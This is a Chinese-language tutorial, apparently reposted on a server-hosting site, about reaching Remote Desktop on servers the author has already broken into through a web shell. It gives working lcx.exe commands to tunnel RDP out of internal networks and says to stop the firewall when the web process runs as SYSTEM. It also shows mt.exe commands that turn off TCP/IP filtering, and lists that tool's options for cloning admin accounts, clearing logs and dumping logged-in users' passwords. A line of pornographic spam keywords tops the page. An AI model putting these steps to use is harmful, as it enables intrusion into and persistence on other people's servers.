人妖在线一区,国产日韩欧美一区二区综合在线,国产啪精品视频网站免费,欧美内射深插日本少妇

新聞動態(tài)

開了3389后WEB滲透遠程連接不上的分析與解決

發(fā)布日期:2022-01-25 16:22 | 文章來源:gibhub
對于開了3389,連接不上,有幾個方面的原因,我來總結(jié)下,哇咔咔,這幾天提好幾臺服務(wù)器都TM這樣,分析下,
原因1、遠程桌面端口被更改。2、對方服務(wù)器處于內(nèi)網(wǎng)。3、防火墻攔截。4、TCP/IP安全限制。
好了,知道原因了,我們來一個一個思考解決方法(部分引用):
遠程桌面端口被更改解決方法:
現(xiàn)在一般的asp大馬都有探測服務(wù)器的功能,在權(quán)限還行的情況下都可以直接查看遠程(Terminal Service)端口,或者可以查看注冊表也可以得到遠程桌面端口,asp權(quán)限不行,在支持aspx的時候就換aspx查看注冊表。
對方服務(wù)器處于內(nèi)網(wǎng)解決方法:
這種情況我們可以使用lcx做端口轉(zhuǎn)發(fā),不知道的或者沒有的就百度“lcx.exe下載”,我就不提供下載了。
使用方法:
1.上傳lcx.exe到目標(biāo)服務(wù)器可執(zhí)行目錄
2.本地主機啟動lcx.exe監(jiān)聽,命令:
lcx.exe -listen 1988 4567 // 監(jiān)聽1988端口并轉(zhuǎn)發(fā)到4567端口
在目標(biāo)主機運行:
格式為:
lcx.exe -slave 你的IP 你監(jiān)聽的端口 肉機IP 要轉(zhuǎn)發(fā)的目標(biāo)主機端口
例子:lcx.exe -slave 192.168.86.1 1988 192.168.86.3 3389
3.本地鏈接:127.0.0.1:1988
OK,有點小麻煩,不過還是很管用的,要是你也是內(nèi)網(wǎng),你就做下端口映射就好了,映射到轉(zhuǎn)發(fā)回來的端口,哇咔咔。
4、防火墻攔截解決辦法:
一般還是先試試端口轉(zhuǎn)發(fā),還是利用LCX,
使用方法:
lcx.exe -slave 你的IP 你監(jiān)聽的端口 肉機 要轉(zhuǎn)發(fā)的目標(biāo)主機端口
例子:lcx.exe -slave 192.168.86.1 1988 192.168.86.3 3389
然后本地連接:127.0.0.1:1988 就搞定了。
如果還不行。。要是web是SYSTEM權(quán)限,直接停掉防火墻服務(wù)就沒問題了。
5、TCP/IP安全策略限制。
這個解決方法就有點多了,可以使用MT.EXE來關(guān)閉策略,
使用方法:
1.上傳mt.exe到目標(biāo)服務(wù)器可執(zhí)行目錄
2.執(zhí)行命令:mt.exe -filter off
這樣就關(guān)閉了TCP/IP限制了
選項:
-filter —更改TCP/IP 過濾器的開頭狀態(tài)
-addport —添加端口到過濾器的允許列表
-setport —設(shè)置端口作為過濾器的允許列表
-nicinfo —列出TCP/IP 界面信息
-pslist —列出活動進程
-pskill —殺毒指定進程
-dlllist —列出指定進程的DLL
-sysinfo —列出系統(tǒng)信息
-shutdown —關(guān)閉系統(tǒng)
-reboot —重啟系統(tǒng)
-poweroff —關(guān)閉電源
-logoff —注銷當(dāng)前用戶會話
-chkts —檢查終端服務(wù)信息
-setupts —安裝終端服務(wù)
-remts —卸載終端服務(wù)
-chgtsp —重置終端服務(wù)端口
-clog —清除系統(tǒng)日志
-enumsrv —列出所有服務(wù)
-querysrv —列出指定服務(wù)的詳細信息
-instsrv —安裝一個服務(wù)
-cfgsrv —更改服務(wù)配置
-remsrv —卸載指定服務(wù)
-startsrv —啟動指定服務(wù)
-stopsrv —停止指定服務(wù)
-netget —從http/ftp 下載
-redirect —端口重定向
-chkuser —列出所有賬戶、sid 和anti 克隆
-clone —克隆admin 到目標(biāo)
-never —設(shè)置賬戶看上去從未登錄
-killuser —刪除賬戶,甚至是 “guest” 也可刪除
-su —以Local_System 權(quán)限運行進程
-findpass —顯示所有已登錄用戶的口令
-netstat —列出TCP 連接
-killtcp —殺死TCP 連接
-psport —映射端口到進程
-touch —設(shè)置文件日期和時間到指定值
-secdel —安全擦除文件或目錄占用的空間
-regshell —進入一個控制臺注冊表編輯器
-chkdll —檢測gina dll 后門
上面只是一種方法,再說一種好用的方法吧,成功率灰常高,哇咔咔。
使用antifw.exe這個工具,
使用方法
在cmd下輸入
antifw -s 運行程序 停止iis將3389改為80
antifw -l 關(guān)閉程序?;謴?fù)iis
連接的時候直接連接他的80端口就OK了,內(nèi)網(wǎng)外網(wǎng)通殺!成功率比較高。但是這樣他網(wǎng)站就訪問不了。。。
沒事,上去了我們趕緊分析原因,排除萬難,把限制去掉,再給他還原80端口,哇咔咔。。。
By:Seay

版權(quán)聲明:本站文章來源標(biāo)注為YINGSOO的內(nèi)容版權(quán)均為本站所有,歡迎引用、轉(zhuǎn)載,請保持原文完整并注明來源及原文鏈接。禁止復(fù)制或仿造本網(wǎng)站,禁止在非www.sddonglingsh.com所屬的服務(wù)器上建立鏡像,否則將依法追究法律責(zé)任。本站部分內(nèi)容來源于網(wǎng)友推薦、互聯(lián)網(wǎng)收集整理而來,僅供學(xué)習(xí)參考,不代表本站立場,如有內(nèi)容涉嫌侵權(quán),請聯(lián)系alex-e#qq.com處理。

相關(guān)文章

實時開通

自選配置、實時開通

免備案

全球線路精選!

全天候客戶服務(wù)

7x24全年不間斷在線

專屬顧問服務(wù)

1對1客戶咨詢顧問

在線
客服

在線客服:7*24小時在線

客服
熱線

400-630-3752
7*24小時客服服務(wù)熱線

關(guān)注
微信

關(guān)注官方微信
頂部